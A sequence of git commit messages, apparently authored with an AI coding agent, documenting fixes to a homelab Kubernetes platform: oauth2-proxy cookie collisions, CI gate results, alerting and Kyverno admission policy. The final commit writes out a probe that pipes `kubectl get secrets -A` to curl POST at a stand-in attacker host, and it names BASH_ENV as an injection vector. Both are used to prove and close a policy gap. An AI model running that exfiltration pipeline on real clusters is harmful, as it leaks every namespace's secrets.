`render.py --selftest`; they were run by hand and the gap is recorded in the
handoff.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Read the commit's /statuses rather than the check mark:
gate / gate (pull_request) state=success desc='Successful in 1m41s'
gate / conformance (pull_request) state=success desc='Has been skipped'
The second is CLAUDE.md 2b's trap in the wild -- a SKIPPED Gitea job reports
state=success, so that green tick certifies nothing. It agrees exactly with
the local rc 3: the offline L0/L1 subset passed, L2/L3 never ran. Anyone
reading the PR's check mark alone would conclude the opposite.
Also re-measured branch protection instead of trusting the table in CLAUDE.md:
GET /repos/.../branches/main -> protected=true, user_can_push=false.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The PR's required check went green as "Successful in 1m40s" — a real run, not
"Has been skipped". But .gitea/workflows/gate.yml:138 is
`./ci/gate.sh || [ "$?" -eq 3 ]`, so a green tick means exit 0 OR 3 and cannot
distinguish them. Fetched the job log and read the gate's own headline:
MERGE GATE: UNDETERMINED, one stage that did not run (spec-immutability).
So CI is rc 3 too, and the tick is the tolerance swallowing it. Recorded that
plainly rather than leaving "CI green" to be read as rc 0.
Also corrects a claim that had gone stale within the same entry: CI ran two
stages my worktree run could not, and both passed — gitea-settings (the live
Gitea matches infra/gitea/expected-branch-protection.json; runners online 1)
and approval-policy with real PR context (no sensitive paths touched, so
infra/ansible/** needs no human reviewer). My local run skipped both, and the
handoff said branch protection was UNVERIFIED. It is now measured, so saying
otherwise would have left a known-false line in the log.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Widens the cookie-collision fix to the whole sidecar contract, because all three
defects live in the same function and land on the same five goldens, so they are one
atomic change or they are five conflicting ones.
Added to _oauth2_sidecar_container(), on top of the cookie-name/cookie-domain fix:
--cookie-refresh=2m30s
The session died FIVE MINUTES after sign-in. Keycloak's homelab realm issues
300-second access tokens (MEASURED on a live session: expires - created =
300.000s exactly, with refresh_token:true on the same line), and
--cookie-refresh defaults to 0 -- which the pinned binary's own help spells
"0 to disable". So the proxy held a refresh token it was never told to spend.
Refresh at HALF the lifetime: two chances to renew before expiry.
This, not the collision, is what dominates the rejection VOLUME -- ~95% of
radarr's 155 rejections in 12h carry no cookie at all.
--metrics-address=0.0.0.0:44180 + a `metrics` container port
Without the flag the /metrics listener never starts, so no per-app sidecar was
serving metrics at all (`ports` was ['http'] on all six). 44180 is the
platform's existing convention, measured not chosen: the shared proxy already
runs the same flag and port with 2 ready endpoints.
PREREQUISITE ONLY -- NOT scraped. A container port is not a Service port, and
each namespace's default-deny baseline is `ingress: []`, so this is unreachable
until a Service port (or PodMonitor), a monitoring allow and a ServiceMonitor
land. Do not read this as "the sidecars have metrics now".
EVERY FLAG VERIFIED AGAINST THE PINNED v7.8.1 BINARY (`--help`), not against docs or
the shared proxy -- which runs v7.15.3 and could not have vouched for v7.8.1:
* --metrics-address exists in 7.8.1, so this cannot crashloop the pods
* --cookie-refresh ... "0 to disable" confirms the default
* --cookie-name ... (default "_oauth2_proxy") -- this confirms from the
IMPLEMENTATION the constant the new L0 check is built on
* --api-route is SINGULAR; the plural does not exist and the proxy refuses to start
* --session-cookie-minimal exists and is mutually exclusive with --cookie-refresh,
so dropping --pass-access-token is a least-privilege argument, never a size fix
NOT done, deliberately: --api-route=^/api/ renderer-wide. It was measured on jackett
and PiHole does not serve /api/, so a renderer constant would apply one app's path
shape to five. It needs a per-app hook the `auth` schema forbids
(additionalProperties: false) -- a schema change, separate PR.
Also records the mechanism that made this INTERMITTENT, as a renderer comment, because
nobody would reconstruct it from the flags: the loser does not just fail to read the
cookie, it calls ClearSession, which expires the cookie on its own --cookie-domain --
the whole zone. The *arr UIs poll (/api/v3/command, /api/v3/queue/details,
/signalr/negotiate), so every poll carrying an undecryptable cookie clears it again:
A LEFT-OPEN RADARR TAB DELETED JACKETT'S COOKIE EVERY FEW SECONDS, from another
namespace, with no user action. That is why signing in again never helped for longer
than the gap between two polls.
Crafty's counter-evidence resolved: the 81:1 ratio was a 24h window straddling a
13h52m-old pod. Bounded to the fixed process, crafty's ENTIRE life is 3 rejections in
6743 log lines, with ZERO `removing session` and ZERO `cookie signature not valid`
against unfixed radarr's 8 and 8. The eviction fingerprint is gone where the fix is
deployed. It logged 0 AuthSuccess too, so that is absence-of-the-failure-mode rather
than a session watched working -- stated as such in the handoff.
Renderer selftest gains six assertions, including a --cookie-refresh check that PARSES
the duration and requires 0 < refresh < 300s (so 2m30s/150s/2.5m all stay green while a
silent widening past the token lifetime does not). NOTE, and it is in the handoff as the
top follow-up: NOTHING IN ci/ RUNS `render.py --selftest`, so those assertions are
dev-time only. conformance/tests/l0-static/auditability-proofs-producible/check.sh:291
already drives other tools' selftests for exactly this reason and is the one-line fix.
Gate (toolbox, worktree shim with the spec repo mounted at /home-network-k3s): rc 3
UNDETERMINED. Green: spec-immutability, decisions-log, lint, l0, render-golden, l1,
approval-policy. Skipped: gitea-settings (no local token), conformance (declared).
The new L0 check PASSES on this branch -- all five apps fixed in one commit.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The prod nodes already have a working Intel render device — measured by hand on
all three on 2026-09-30. Nothing here installs, loads or changes anything; the
point is that the measurement now re-runs on every health run instead of decaying
silently in a handoff note.
The failure being hunted is silent by construction: Plex hardware-transcodes
through /dev/dri/renderD128, and if that node stops existing (node rebuild, a BIOS
change that disables the onboard IGD, a kernel that binds a different DRM driver)
Plex falls back to software transcoding on its own and the only symptom is a hot
CPU.
All of it is in the UNPRIVILEGED collector pass: lstat() on /dev/dri/*,
grp.getgrgid() for the owning group name, the /sys/class/drm/card*/device/driver
symlink for the bound driver, /sys/bus/pci/devices/*/class for display-class
devices whether or not a driver is bound, /sys/class/drm/card*/engine/* for the
vcs*/vecs* media engines, /proc/modules and /proc/cmdline. lspci and vainfo are
probed but never depended on — neither is in node_baseline's package floor.
Three checks, in the role's existing PASS/WARN/FAIL/SKIP/INFO shape:
graphics.render_device the outcome — a usable character-special renderD* node.
FAIL only when a display device IS on the PCI bus and
there is still no render node. SKIP when the machine has
no display device at all (a VM guest), which is why the
PCI scan is separate from the DRM scan: /sys/class/drm/
card* exists only once a driver has BOUND.
graphics.drm_driver what is bound, against the new
node_health_graphics_expected_driver default (i915), so
the comparison is data and not task logic. `xe` bound in
place of i915 is a WARN, not a FAIL: the device works but
the userspace media stack differs.
graphics.media_stack INFO only, deliberately. GuC/HuC off (i915.enable_guc=0)
is an accepted state that costs low-power H.264 encode
quality only, and no host vainfo is not a defect at all
because Plex ships its own libva inside its container.
The render node's owning group and GID are REPORTED, never asserted: `render` is a
systemd dynamic allocation rather than a Debian static gid, so a rebuild can
legitimately move it off the 992 measured today, and Plex's container entrypoint
stats the device and joins whichever group owns it. Drift stays visible without
being an error.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Counter-evidence was raised against this branch: over a 24h Loki window crafty -- the
app already carrying the cookie fix -- showed the WORST auth-rejection ratio of the set
(crafty 81:1, radarr 67:1, jackett 39:4). Taken at face value that says the fix does not
work. It does not say that, and it does not say the opposite either.
Re-measured bounded to the fixed pod, read from each sidecar's OWN log rather than Loki
(`kubectl logs` on a pod with 0 restarts cannot reach a pod older than itself, so a
window inside the pod's age is inside the fixed spec by construction):
namespace age(h) rst reject success ratio cleared badsig
crafty 13.9 0 3 0 n/a 0 0 <- FIXED, whole life
radarr 422.5 0 155 1 155.0:1 8 8
jackett 422.6 0 39 4 9.8:1 1 1
pihole/qbittorrent/sonarr/shared: 0 reject, 0 success
Three findings, kept apart:
1. `crafty 81:1` is a WINDOW ARTEFACT. The fixed pod has emitted 3 rejections in its
entire 13.9h life; the 81 came from a 24h window straddling it, i.e. from the pre-fix
pod. It is not evidence against the fix and must not be cited as such.
2. The fix is still NOT SHOWN TO WORK. Crafty logged ZERO AuthSuccess in that window --
no traffic, so no ratio. Absence of failure against absence of traffic proves nothing.
3. The collision mechanism IS independently confirmed, and it is a MINORITY of the
rejections. `cookie signature not valid` + `removing session` is its fingerprint -- a
cookie IS present, written with a key this instance does not have, so it cannot decrypt
it and then ClearSession expires it zone-wide. radarr 8 of 155 (5%), jackett 1 of 39,
fixed crafty 0. ~95% of radarr's rejections carry no cookie at all and point at the
session-lifetime and 302-on-XHR mechanisms this branch does not touch.
So the handoff now says, at the top and in both evidence sections, that "the instances
collide" and "the collisions cause the reported symptom" are different claims and only
the first is supported. The four fixes stand -- distinct cookie names are correct
regardless -- but nothing here should be read as a cure.
Also records three deliberate NON-fixes with their reasoning (--cookie-refresh, which all
four of my apps need as much as jackett does and which belongs in the renderer rather than
in a golden; --api-routes for 302-on-XHR, which is path-shaped and needs a schema change;
and sidecar metrics, which I judged overreach for a check whose subject is cookie
identity), and two gate facts:
* spec-immutability was skipping because of a PATH BUG IN THE WORKTREE SHIM, not the
environment -- dev.sh derives the spec path from its own REPO_ROOT, which in a worktree
does not resolve. Mounting the spec repo at /home-network-k3s with SPEC_REPO set makes
R-TEST-06 actually run and PASS. Local gate is now rc 3 for one reason (gitea-settings,
no token) instead of two.
* CI's gate reports FAILURE on 75a4029 for exactly one reason, and it is not this change:
`approval-policy: a sensitive change lacks a non-author approval`. Every substantive
stage is green in CI, including gitea-settings. conformance/** is a sensitive path, so
the PR is fail-closed pending a human review -- CLAUDE.md §1 working as designed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Coordinator raised crafty as counter-evidence: it carries the cookie fix and
showed the platform's worst ratio (81:1 over 24h from Loki), implying the fix
does not work. Bounded it exactly instead of in Loki -- crafty's pod started
2026-09-30T03:57:19Z with 0 restarts, so a 24h window is ~10h of the PRE-fix
process. Read off the pod's own log, whose boundary is the process start:
crafty 3 'No valid authentication', 0 AuthSuccess, in 13h52m <- not 81
one client IP, 2 of the 3 on /ws (WebSocket reconnects), two
isolated minutes (04:02, 15:22)
Post-fix crafty is idle, not broken. Correctly bounded it is evidence FOR the
fix. The ratio metric ranks CHATTINESS, not breakage: radarr's 156:1 is
/api/v3/command (62), /api/v3/queue/details (46), /signalr/negotiate (43) --
UI polling. Added that trap to the runbook, because ranking apps this way is
how a deployed fix gets written off.
That polling also sharpens the jackett mechanism: every poll arriving with a
cookie radarr cannot decrypt calls ClearSession again, so a left-open radarr
tab deletes jackett's cookie every few seconds. Explains the intermittency.
Re-weighted the diagnosis as asked: mechanisms 2 and 3 (5-minute session with
no --cookie-refresh; 302-instead-of-401 on XHR) are demonstrated from
jackett's own log and between them fully explain the report. Mechanism 1
(collision) is firing and jackett genuinely violates it, but causation is one
3-second adjacency, not a population -- necessary and firing, not proven
sufficient. Stated that way in the entry.
Metrics: confirmed no per-app sidecar exposes any (--metrics-address ABSENT,
ports ['http'] on all six); only the shared proxy has the flag and a metrics
port. Worth adding and DECLINED HERE for the structural reason only -- the
container's args AND ports both come from _oauth2_sidecar_container(), so it
hits the identical five-file blast radius. It belongs in the same single
renderer commit. Recorded, not silently skipped.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Reported as "GET works, PUT/POST to add indexers fail, reloading never helps,
and I am never re-prompted". Diagnosis lands here; the MANIFEST FIX DOES NOT,
deliberately -- see the blocker below.
ROOT CAUSE, measured from two pods' logs interleaved to the second:
15:31:06 jackett [AuthSuccess]
15:31:29 radarr "cookie signature not valid, removing session"
15:31:32 jackett "No valid authentication in request" <- 3s later
Six oauth2-proxy instances (seven pods) emit the DEFAULT cookie name
`_oauth2_proxy` on `.home.keithjackson.dev` holding seven DIFFERENT
cookie-secrets (compared in-cluster by sha256; all distinct). `removing
session` is ClearSession, which expires the cookie on radarr's own zone-wide
--cookie-domain, so jackett's session is DELETED by a process in another
namespace, 26s after a clean login whose `expires` was 5 minutes out. 8 such
lines in radarr's log, 1 in jackett's, 0 elsewhere. It was never expiry and it
was never Jackett -- and it is why reloading does not help: the operator's
Radarr tab re-clears the cookie seconds after each new login.
Two contributing mechanisms, also measured:
* session lifetime == Keycloak access-token lifetime, 300.000s exactly, with
refresh_token:true on the same line and --cookie-refresh unset (default 0).
* XHRs answered 302 not 401: oauth2-proxy's AJAX guard needs an exact
`Accept: application/json`, which Jackett's jQuery does not send. On /api/
paths: 33 x 302 vs 2 x 401. A browser following a 302 re-issues a POST as a
GET and DROPS THE BODY -- 4 of 6 POSTs never reached Jackett at all.
WHY NO MANIFEST FIX HERE. apps/wave-0/jackett.yaml is a GENERATED GOLDEN. The
sidecar args come from one shared function, _oauth2_sidecar_container() in
catalog/render.py; catalog/jackett.yaml declares only auth.mode/auth.groups and
the auth schema is additionalProperties:false, so there is NO per-app override
hook. Hand-editing the rendered file is rejected by the gate exactly as
designed ("GOLDEN DRIFT ... render-golden: FAIL"). Changing the renderer
instead rewrites all five rendered apps -- measured:
CHANGED: apps/wave-0/{jackett,pihole,qbittorrent}.yaml
CHANGED: apps/wave-1/{radarr,sonarr}.yaml
and render-golden requires all five be regenerated in the same commit. Four of
them are owned by fix/oauth2-proxy-cookie-collision-fleet right now. The cookie
fix is ONE change, not five; it needs re-cutting as a single renderer commit
rather than two branches rewriting the same generated block.
Validated the intended argument list against the pinned image and the real
issuer before stopping: it printed back `name:_oauth2_proxy_jackett ...
domains:jackett.home.keithjackson.dev ... refresh:after 2m30s` and
`API route - Path: ^/api/`. Two corrections fell out of that: --api-route is
SINGULAR (--api-routes does not exist and the proxy refuses to start), and
--session-cookie-minimal is mutually exclusive with --cookie-refresh
("cookie_refresh > 0 requires oauth tokens in sessions"), so dropping
--pass-access-token does NOT shrink the cookie -- it is a least-privilege
change, not a size one.
Adds runbooks/oauth2-proxy-session.md: the four sidecar log lines that tell the
auth layers apart (including the upstream `-` that means the proxy answered a
request the app never saw), the cross-log collision diagnosis, and the
generated-golden warning with its blast radius. Registered in the
configMapGenerator AND runbooks/README.md so the URL resolves.
Jackett is NOT fixed by this commit and will keep losing its session to Radarr
until the renderer change ships.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The handoff asserted a gate outcome before the gate had been run against a
committed branch. Replaces it with what was actually measured on 9a4489b:
rc 3 (UNDETERMINED) -- green decisions-log/lint/l0/render-golden/l1/approval-policy,
skipped spec-immutability/gitea-settings/conformance -- plus the twelve touched
requirements that are UNVERIFIED at L2/L3, and a note that approval-policy passed
VACUOUSLY here (event='none') while the PR itself needs a non-author review because
conformance/** is a sensitive path.
Also records that the three conformance/tests/l1-rendering goldens are regenerated:
they are expected-output fixtures of the same renderer, and the L1 stage caught their
drift on the first gate run rather than anyone remembering them.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Jackett failed on 2026-09-30 in the most expensive way available: HTTP 200 and a
plausible page. oauth2-proxy answers an unauthenticated XHR with a 302 to Keycloak
rather than a 401; the browser follows it silently against a live SSO session and
the call resolves 200 carrying a 44 KB HTML dashboard where the app's JavaScript
wanted JSON. The user is never re-prompted, reloading never helps, and every uptime
check stays green. `jackett-down` watches replicas_available, which was 1 throughout.
The reason nothing alerted turns out not to be a missing rule. Measured on prod:
count by (__name__) ({__name__=~"oauth2_proxy.*"})
oauth2_proxy_requests_in_flight => 2
Two series, both from the SHARED forward-auth Deployment. The six per-app gate
sidecars (crafty, jackett, pihole, qbittorrent, radarr, sonarr) publish nothing at
all: no --metrics-address, so the metrics listener never starts; no `metrics`
container port; no ServiceMonitor or PodMonitor selects them. The alert the incident
calls for — sustained auth redirects to an authenticated user — is therefore NOT
WRITABLE, and writing it anyway would have shipped a rule that is present,
evaluating, permanently silent and indistinguishable from health.
So alert on the condition that made the incident invisible, from families that ARE
scraped:
OAuth2ProxyGateUnobserved
count by (namespace) (kube_pod_container_info{container="oauth2-proxy"})
unless
count by (namespace) (up{container="oauth2-proxy"})
kube_pod_container_info is kube-state-metrics (a declared scrape owner) and sees the
container whether or not it exports anything; `up` is UNIVERSAL and carries a
`container` label for any target, so the rule needs no advance knowledge of what job
name a future per-app scrape picks. Nothing in it touches oauth2_proxy_*, so it
cannot be inert for the reason it is reporting. Run verbatim against live prod it
returns six namespaces and correctly excludes oauth2-proxy. It clears per namespace
as each gate gains a real scrape.
Also:
- promtool companion test pinning all four states: fires unscraped, quiet when
scraped, honours for:1h, and STOPS once a scrape appears under a different job name.
- runbooks/oauth2-proxy-auth-failures.md — tell the gate's refusal from the group
check from the app's own login from an XHR that silently got HTML, with the
2026-09-30 jackett trace as the worked example and the Loki queries to use while
there are no metrics. Registered in the configMapGenerator and README.
- runbooks/README.md gains an inert-alerts row for the unscraped sidecars.
Rejected: an alert on the shared proxy's oauth2_proxy_requests_total ratio. It needs
a conformance/ SCRAPE_OWNERS entry (human approval) and, decisively, would not have
fired on this incident — the shared instance is not in any sidecar-gated app's data
path and its current pods have proxied nothing. It would have looked like coverage
and been none.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Every oauth2-proxy on this platform is an independent instance with its OWN
cookie-secret. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
DISTINCT cookie-secret values (compared in-cluster, never printed). So no instance
can DECRYPT another's cookie -- it can only OVERWRITE it.
All of them were emitting oauth2-proxy's DEFAULT names (`_oauth2_proxy`,
`_oauth2_proxy_csrf`) scoped to `.${BASE_DOMAIN}`, so the browser kept ONE cookie
pair for SIX live instances (jackett, pihole, qbittorrent, radarr, sonarr, and the
shared forward-auth proxy). Whichever authenticated last clobbered the rest; the
loser logged `No valid authentication in request`, bounced to Keycloak, and -- the
SSO session still being live -- was redirected straight back and clobbered it again.
The symptom is "I signed into Keycloak but I'm still not signed in", which sends you
hunting in Keycloak, where nothing is wrong. Crafty was fixed on its own side on
2026-09-29 (#22); this is that fix generalized to the pattern.
THE DEFECT WAS NOT IN THE MANIFESTS. apps/wave-*/{jackett,pihole,qbittorrent,radarr,
sonarr}.yaml are GENERATED goldens; one function emits all five. So the fix is in
catalog/render.py::_oauth2_sidecar_container(), and both flags are now DERIVED from
the ServiceDefinition rather than defaulted:
--cookie-name=_oauth2_proxy_{s['name']} unique by construction
--cookie-domain={host} the app's own host, not the zone
A per-service table was rejected for the reason twelve ServiceMonitors once acquired
one identical wrong port name in a single edit: it would leave the NEXT app onboarded
defaulting straight back into the collision. --whitelist-domain stays zone-wide; it
governs post-login REDIRECT targets, not cookie scope.
Host-scoping is defence in depth and is asserted deliberately: a zone-wide cookie is
transmitted by the browser to every host in the zone, so each app's session token was
being sent to every sibling -- and it is what would make a FUTURE name collision
platform-wide instead of contained.
New gate check (whole-repo scope, so it runs on EVERY gate invocation, not only when
a touched path happens to attribute an identity requirement):
conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/
It resolves each instance's EFFECTIVE cookie name -- declared, or oauth2-proxy's
built-in default when omitted, because an omitted flag is not an absence but a CLAIM
on a name, and reading it as an absence is exactly why this survived five reviews.
Then: no two collide; none is another's name + `_csrf` (oauth2-proxy derives the CSRF
cookie that way); the default has exactly ONE owner, registered with its reason in a
shrink-only register -- the SHARED proxy, which MUST keep `_oauth2_proxy` because
renaming it signs every other gated surface out at once; every other instance is
host-scoped; render.py derives rather than lists; and the SHIPPED renderer is proven
end-to-end on two synthetic ServiceDefinitions, so the check stays falsifiable once
the tree is clean.
Tested in both directions: rc 0 on this tree (39 assertions, 7 instances), rc 1 with
26 failures against the pre-fix tree, plus one targeted mutation per assertion class
(duplicate name, CSRF derivation, zone-wide domain, unregistered default heir, stale
register entry) -- each fired, and nothing else did.
Also regenerates the three L1 rendering goldens, which are expected-output fixtures
of the same renderer.
UNVERIFIED: no browser round-trip. The collision has still never been REPRODUCED in a
browser -- doing so needs two gated apps visited in one session -- so this is reasoned
from measured configuration and from the mechanism, not from a failure anyone watched.
Nothing was applied; merging rolls five Deployments and invalidates every existing
session on them once. See decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
FluxRolloutInProgress fired correctly on the first real deploy and its mail
was suppressed before Alertmanager dispatched it. One label was wrong.
kube-prometheus-stack ships general.rules -> InfoInhibitor:
group by (namespace) (ALERTS{severity="info"} == 1)
unless on (namespace) group by (namespace)
(ALERTS{alertname!="InfoInhibitor", alertstate="firing",
severity=~"warning|critical"} == 1)
which fires for any namespace holding a firing info alert AND NOTHING ELSE
wrong in it, and the chart's third inhibit_rule (source alertname=InfoInhibitor
-> target severity="info", equal [namespace]) then drops exactly that alert.
For a deploy notification that is the worst possible interaction, because the
suppressed case is the ONLY case that matters: on a healthy rollout of a healthy
cluster flux-system holds no warning or critical alert, so the notification is
inhibited precisely when it is wanted, and would arrive only when something else
in flux-system was already broken. Measured on prod: InfoInhibitor went active
2026-09-30T04:58:48Z, the same moment the alert began firing for 12
Kustomizations, and amtool showed no FluxRolloutInProgress in Alertmanager
either active or --inhibited, with zero send failures.
Upstream's intent is explicit and fair: severity "info" means "only worth
showing next to a real problem". A deploy notice is not that, so it must not
claim that severity. FluxRolloutInProgress now carries `notification: deploy`
and no severity at all, and the route matches on that label — no inhibit_rule
in the chart targets anything but severity values, and omitting severity also
stops InfoInhibitor firing for flux-system rather than merely working around it.
FluxRolloutStuck keeps severity: warning and is unaffected.
Also verified on prod in the process, all previously UNVERIFIED: the 33 metric
series exist exactly as designed, the `revision` label IS populated (so the
lastAppliedRevision/artifact.revision paths are right), the podAnnotations roll
forced a new KSM pod, and the rule both fired for 12 lagging Kustomizations and
then CLEARED on convergence — the completion signal's whole mechanism, on real
data. Routing proven by `amtool config routes test notification=deploy` ->
email-deploy.
Still unverified: no mail observed in the inbox. The 226->227 email counter
increment during the window cannot be attributed (no receiver label, other
alerts active), and I am not claiming it either way. See the handoff entry.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The operator got no mail when Flux began applying a git change and none when
it finished. Measured cause: notification-controller v1.4.0 is running and its
CRDs serve v1beta3, but there are ZERO Provider and ZERO Alert objects in the
cluster — nothing in git ever created any.
The obvious fix does not work. Neither Flux event can be filtered into a deploy
signal: ReconciliationSucceeded is a heartbeat (101 events in one hour across 16
Kustomizations, message byte-identical whether the apply changed anything), and
Progressing is worse (five Kustomizations re-apply the same object on every tick
— event counts 2505/2504/2501/2495/2490). gotk_* carries no revision label at
all (gotk_reconcile_condition 120 series, gotk_suspend_status 40, none with one).
The applied revision is the only signal that moves when and only when git moves,
and it lives in object status alone. So export it via the kube-state-metrics
custom-resource-state path that already serves the Velero Schedule metrics —
kube_flux_kustomization_info/_suspended and kube_flux_gitrepository_info — and
ask the question in PromQL:
FluxRolloutInProgress (severity: info, no `for:`) fires the moment a
non-suspended Kustomization's applied revision is not the revision the
GitRepository fetched from main, and CLEARS when all have caught up. Fired
mail = a deploy started; RESOLVED mail = it completed. The completion half is
send_resolved, not a second rule.
FluxRolloutStuck (severity: warning, for: 30m) is the same expression as the
escalation for a rollout that started and never converged.
Two guards, each with a test whose only job is to fail if the clause is removed:
`and on () (count(gitrepository_info) > 0)` — without it a missing exporter makes
`unless on (revision) <empty>` remove nothing and all 16 Kustomizations alert
forever, the permanently-firing mode this repo shipped once already — and the
suspended-Kustomization exclusion, without which a suspended tier holds the
rollout open and the "applied" mail never arrives.
A dedicated Alertmanager severity=info route + email-deploy receiver keeps deploy
notices off the [WARNING] catch-all. podAnnotations carries a roll-counter because
the chart sets no checksum over the custom-resource-state ConfigMap, so a
config-only edit would leave KSM on the old collector set with the new alerts
silently inert.
Verified: promtool SUCCESS on 6 scenarios (both guards, plus the convergence test
that proves the alert empties itself); lint/l0/render-golden/l1/decisions-log/
spec-immutability green in the pinned toolbox. NOT verified: no mail has been
sent — the metrics do not exist until this merges. Full gap list, and the
deliberately-cut notification-controller half, in the handoff entry.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
#18 has landed, so this branch's "PR #18 must merge first" caveat was stale --
corrected to say what is now true and, more importantly, what is still NOT:
no image has been built or pushed, so the digest this branch pins resolves to
nothing.
Also records the one real conflict the rebase hit and how it was resolved.
#18's README carried a blockquote saying the 4th admission rule pinning the
init container's command "is not in this branch". It IS in this branch
(trigger-initcontainers-must-be-the-committed-clone-step, plus the
ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording
would have left main documenting an open hole that had just been closed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.
Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.
One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.
Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at c59fe9f,
after #24 merged, so that stage is in the base and DID run against this entry.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + ENGINE shim): spec-immutability, decisions-log
(archive frozen, 2 entries well-formed), lint (404 files), l0, render-golden (10),
l1 all green; gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and conformance L2/L3
SKIPPED (CLUSTER_AVAILABLE unset); MERGE GATE UNDETERMINED -- stages that did not run:
gitea-settings -- rc 3. Nothing FAILED, and rc 3 is not green.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
